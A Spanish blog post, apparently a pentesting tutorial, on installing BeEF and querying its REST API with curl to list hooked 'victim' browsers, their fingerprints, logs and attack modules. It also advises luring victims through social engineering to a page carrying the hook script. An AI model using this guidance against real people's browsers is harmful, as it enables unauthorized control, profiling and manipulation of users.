14 de Julio, 2015
□
General |
Pentesting automatizado con Beef y su API Rest – Parte 1 |
Beef (The Browser Exploitation Framework) ha tenido una evolución
bastante interesante en los últimos años y se han añadido mejoras que le
convierten en una herramienta que se debe tener en cuenta a la hora de
realizar pruebas de penetración u otras actividades relacionadas con el
hacking. Se trata de un framework del que ya he hablado hace algún
tiempo en varias entradas en las que comentaba cómo automatizar ataques XSS con Beef y cómo integrar Beef con Metasploit Framework.
El proceso de instalación y otros detalles de la herramienta han
cambiado un poco desde aquel entonces y por ese motivo, me he animado a
escribir un parde artículos en los que voy a explicar cómo instalar la
última versión de Beef, consumir la API Rest que se encuentra disponible
en el Framework para automatizar tareas y otras características
interesantes.
Instalando Beef
Beef se encuentra desarrollado en Ruby, con lo cual es necesario
contar con el interprete de Ruby instalado en el sistema. En mi
experiencia, suele ser un poco complicado trabajar con herramientas como
Beef y Metasploit Framework cuando se utilizan diferentes versiones de
Ruby, por ese motivo siempre es recomendable utilizar RVM (Ruby Version
Manager) para poder activar y gestionar varias versiones de Ruby sobre
el mismo sistema. Puedes echarle un vistazo al sitio web oficial del
proyecto (https://rvm.io/) veras que te va a facilitar las cosas y te va a ahorrar mucho tiempo.
Dicho esto, el primer paso para instalar Beef consiste en descargar
la última versión del proyecto que se encuentra disponible en su
repositorio Github.
>git clone https://github.com/beefproject/beef.git beef-lastest
>cd beef-lastest
>gem install bundler
Fetching: bundler-1.10.5.gem (100%)
Successfully installed bundler-1.10.5
Parsing documentation for bundler-1.10.5
Installing ri documentation for bundler-1.10.5
Done installing documentation for bundler after 3 seconds
1 gem installed
>bundle install
>./beef |
Ejecutando Beef
Si estas utilizando RVM, debes activar un entorno de Ruby que se
encuentre instalado en RVM, para ello basta con ejecutar el siguiente
comando
>source <HOME_USER>/.rvm/scripts/rvm |
Como se puede apreciar, se han levantado algunos servicios y se ha
vinculado el puerto 3000 para interactuar con el panel de control.
Además, vemos que se ha generado una API Key para interactuar con los
servicios Rest de la plataforma, esto será útil posteriormente para
automatizar el uso de Beef. Por otro lado, cuando se intenta acceder a
la página principal de Beef, se solicita un nombre de usuario y una
contraseña, los cuales por defecto son “beef”/“beef”. Todos estos
detalles se pueden cambiar muy fácilmente editando el fichero
<BEEF_INSTALL>/config.yaml
Funcionamiento de Beef
Beef, a diferencia de otras herramientas de pentesting web, se centra
en el contexto de los clientes y utilizando un hook en Javascript,
permite crear una red de bots que pueden ser controlados desde un panel
de control central. Basta con que un usuario navegue por un sitio web
que contenga dicho hook para que automáticamente haga parte de esa red
de bots. Hay que tener en cuenta que dicho hook no explota ninguna
vulnerabilidad 0day sobre los navegadores web o cosas similares, sino
que simplemente incluye varias rutinas desarrolladas en Javascript que
realizan peticiones contra el panel de control de Beef y desde dicho
panel de control, se pueden enviar instrucciones al hook para que
realice tareas sobre el entorno (navegador web) de la víctima, de esta
forma es posible acceder a información básica del navegador web, activar
o desactivar plugins y extensiones o incluso forzar la navegación hacia
sitios web arbitrarios, obviamente sin la debida autorización por parte
de la víctima. La siguiente imagen enseña la arquitectura de Beef y
como se puede ver, se compone por un servidor centrar del C&C y una
serie de zombies que se encuentran “infectados” por el hook. Ahora bien,
esta supuesta “infección” no es persistente ni mucho menos, ya que se
trata simplemente de un fichero Javascript se ejecuta en el contexto de
la página web visitada por la víctima, basta con cerrar dicha página web
y problema resuelto.
Arquitectura de beef
La imagen anterior ha sido tomada del sitio web oficial de Beef y se
puede apreciar perfectamente el funcionamiento de la herramienta que es
simple y a su vez muy potente.
Cuando una víctima accede a una página web que contiene el hook y a
menos que exista algún bloqueo de las peticiones HTTP entre el C&C
de Beef y la víctima, aparecerá automáticamente en el panel de control
un nuevo bot.
A partir de aquí, es el momento de establecer el vector de ataque. Debes
crear una página web que incluya el script “hook.js” y evidentemente,
entre mejor elaborado sea dicho vector, mejores resultados (+ víctimas)
lograrás conseguir. Aquí entra en juego la creatividad y definir quien o
quienes van a ser los objetivos del ataque, de tal forma que puedas
ofrecer algo que tus víctimas potenciales puedan querer y les invite a
entrar y permanecer en el sitio web que ejecuta el hook, aquí las
técnicas de ingeniería social son vitales y ofrecer un servicio
perfectamente “legitimo” como un juego online o algún servicio web
concreto, puede ser lo suficientemente atractivo para la víctima como
para que decida visitar el sitio y permanecer en él algún tiempo. Dicha
página lo único que necesita tener es esto:
Así de fácil.
Cuando una víctima accede a la página web maliciosa, automáticamente
se convierte en un bot del C&C de Beef, tal como se enseña en la
siguiente imagen.

Automatización de Beef con su API Rest
Ahora viene la parte divertida, Beef cuenta con una API Rest que
permite la automatización de tareas, algo que desde luego viene muy bien
cuando se deben gestionar múltiples víctimas y resulta muy ineficiente
(y tedioso) hacerlo desde la interfaz web. Su uso es bastante simple y
como se ha visto en líneas anteriores, solamente es necesario contar con
la API Key que genera la herramienta de forma automática cuando se
levanta Beef. Con dicha API Key se pueden invocar los endpoints
definidos en la API y de esta forma, obtener información del C&C de
Beef en formato JSON. Para hacer pruebas simples se puede utilizar una
herramienta con CURL o WGET y posteriormente, utilizar un lenguaje como
Python o Ruby para crear rutinas que permitan invocar múltiples
endpoints y hacer cosas mucho más interesantes.
Obtener el listado de víctimas
>curl http://localhost:3000/api/hooks?token=4ecc590cb776484412492a7bd3f0ad03cd47660
{“hooked-browsers”:{“online”:{“0″:{“id”:1,”session”:”ZHHT3vCTs9NRDvSmtoiWs0GfgjJYBNRctWlhx5aJKtwczH7klN6fmInMZi0K9hxirSZm56TRRD4OaqHi”,”name”:”FF”,”version”:”38″,”os”:”Linux”,”platform”:”Linux
x86_64″,”ip”:”192.168.1.98″,”domain”:”Unknown”,”port”:”0″,”page_uri”:”file:///home/adastra/Escritorio/testing.html”}},”offline”:{}}} |
Como se puede ver, aparecen los bots que salen en el panel de control
de Beef y en este caso, cada “hooked-browser” puede encontrarse online u
offline y cuenta con un identificador (atributo “session”) que puede
ser utilizado para realizar consultas contra ese bot concreto como por
ejemplo…
Recuperar los detalles del navegador web de un bot concreto
>curl http://localhost:3000/api/hooks/ZHHT3vCTs9NRDvSmtoiWs0GfgjJYBNRctWlhx5aJKtwczH7klN6fmInMZi0K9hxirSZm56TRRD4OaqHi?token=4ecc590cb776484412492a7bd3f0ad03cd47660a
{“BrowserLanguage”:”es-ES”,”BrowserName”:”FF”,”BrowserPlatform”:”Linux x86_64″,”BrowserPlugins”:”DivX®
Web Player-v.,Google Talk Plugin-v.,Google Talk Plugin Video
Renderer-v.,Java(TM) Plug-in 10.80.2-v.10.80.2,QuickTime Plug-in
7.6.6-v.,Shockwave Flash-v.11.2.202.468,VLC Multimedia Plugin
(compatible Videos 3.10.1)-v.,Windows Media Player Plug-in 10
(compatible; Videos)-v.,iTunes Application
Detector-v.”,”BrowserReportedName”:”Mozilla/5.0 (X11; Ubuntu; Linux
x86_64; rv:38.0) Gecko/20100101
Firefox/38.0″,”BrowserType”:”{”C19iOS”:null,”C20iOS”:null,”C21iOS”:null,”C22iOS”:null,”C23iOS”:null,”C24iOS”:null,”C25iOS”:null,”C26iOS”:null,”C27iOS”:null,”C28iOS”:null,”C29iOS”:null,”C30iOS”:null,”C31iOS”:null,”C32iOS”:null,”C33iOS”:null,”C34iOS”:null,”C35iOS”:null,”C36iOS”:null,”C37iOS”:null,”C38iOS”:null,”C39iOS”:null,”C40iOS”:null,”C41iOS”:null,”C42iOS”:null,”C”:null,”FF38”:true,”FF”:true}”,”BrowserVersion”:”38″,”CPU”:”64-bit”,”Cookies”:”BEEFHOOK=ZHHT3vCTs9NRDvSmtoiWs0GfgjJYBNRctWlhx5aJKtwczH7klN6fmInMZi0K9hxirSZm56TRRD4OaqHi”,”DateStamp”:”Wed
Jul 08 2015 22:02:28 GMT+0200
(CEST)”,”DefaultBrowser”:”Unknown”,”Hardware”:”Unknown”,”HasActiveX”:”No”,”HasFlash”:”Yes”,”HasGoogleGears”:”No”,”HasPhonegap”:”No”,”HasQuickTime”:”Yes”,”HasRealPlayer”:”No”,”HasWMP”:”Yes”,”HasWebRTC”:”Yes”,”HasWebSocket”:”Yes”,”HostName”:”Unknown”,”IP”:”192.168.1.98″,”OsName”:”Linux”,”PageReferrer”:”Unknown”,”PageTitle”:”Unknown”,”PageURI”:”file:///home/adastra/Escritorio/testing.html”,”ScreenSize”:”{”width”=>1920,
”height”=>1080,
”colordepth”=>24}”,”TouchEnabled”:”No”,”VBScriptEnabled”:”No”,”WindowSize”:”{”width”=>1865,
”height”=>953}”,”hasPersistentCookies”:”Yes”,”hasSessionCookies”:”Yes”} |
En este caso, el valor “session” del bot nos permite acceder a todos
los detalles del navegador web de la víctima, algo que puede ser
utilizado para posteriormente ejecutar ataques dirigidos contra dicho
bot.
Accediendo a los logs de un bot
>curl http://localhost:3000/api/logs/ZHHT3vCTs9NRDvSmtoiWs0GfgjJYBNRctWlhx5aJKtwczH7klN6fmInMZi0K9hxirSZm56TRRD4OaqHi?token=4ecc590cb776484412492a7bd3f0ad03cd47660a
{“logs_count”:42,”logs”:[{“id”:2,”date”:”2015-07-08T22:02:28+02:00″,”event”:”192.168.1.98
appears to have come back
online”,”type”:”Zombie”},{“id”:3,”date”:”2015-07-08T22:02:28+02:00″,”event”:”192.168.1.98
just joined the horde from the domain:
Unknown:0″,”type”:”Zombie”},{“id”:4,”date”:”2015-07-08T22:02:29+02:00″,”event”:”0.012s
– [Focus] Browser window has regained focus.”,”type”:”Event”},……. |
También se puede acceder a los logs de que se han producido para un
bot concreto, nuevamente partiendo del valor “session” del bot en
cuestión.
Listando los módulos disponibles en Beef
>curl http://localhost:3000/api/modules?token=4ecc590cb776484412492a7bd3f0ad03cd47660a
{“0″:{“id”:1,”class”:”Iframe_above”,”name”:”Create Foreground
iFrame”,”category”:”Persistence”},”1″:{“id”:2,”class”:”Confirm_close_tab”,”name”:”Confirm
Close
Tab”,”category”:”Persistence”},”2″:{“id”:3,”class”:”Man_in_the_browser”,”name”:”Man-In-The-Browser”,”category”:”Persistence”},”3″:{“id”:4,”class”:”Popunder_window”,”name”:”Create
Pop Under”,
……… |
Listar los módulos desde la API Rest no tiene mayores beneficios, ya
que es lo mismo que se puede hacer desde el navegador web accediendo
directamente al panel de administración, sin embargo si que es
importante obtener el identificador de cada módulo para poder ejecutarlo
contra uno o varios bots de forma programática, dicho identificador se
puede obtener de la respuesta a la invocación del servicio anterior.
Existen muchos más endpoints en la API Rest de Beef que se encuentran documentados en el siguiente enlace: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API
y que nos permitirá acceder a todos los detalles de configuración del
panel de Beef y controlar programáticamente todas las víctimas
capturadas, algo que desde luego resulta muy interesante y que veremos
en el próximo artículo utilizando Python.
Saludos y Happy Hack!
Adastra. |
|
publicado por
alonsoclaudio a las 21:49 · Sin comentarios
· Recomendar |
|
|
CALENDARIO |
 |
Marzo 2025 |
 |
|
DO | LU | MA | MI | JU | VI | SA | | | | | | | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 |
|
|
| |
AL MARGEN |
Escuela de Educacion Secundaria Tecnica N 8 de Quilmes |
(Técnicos en Informática Personal y Profesional) |
| |
|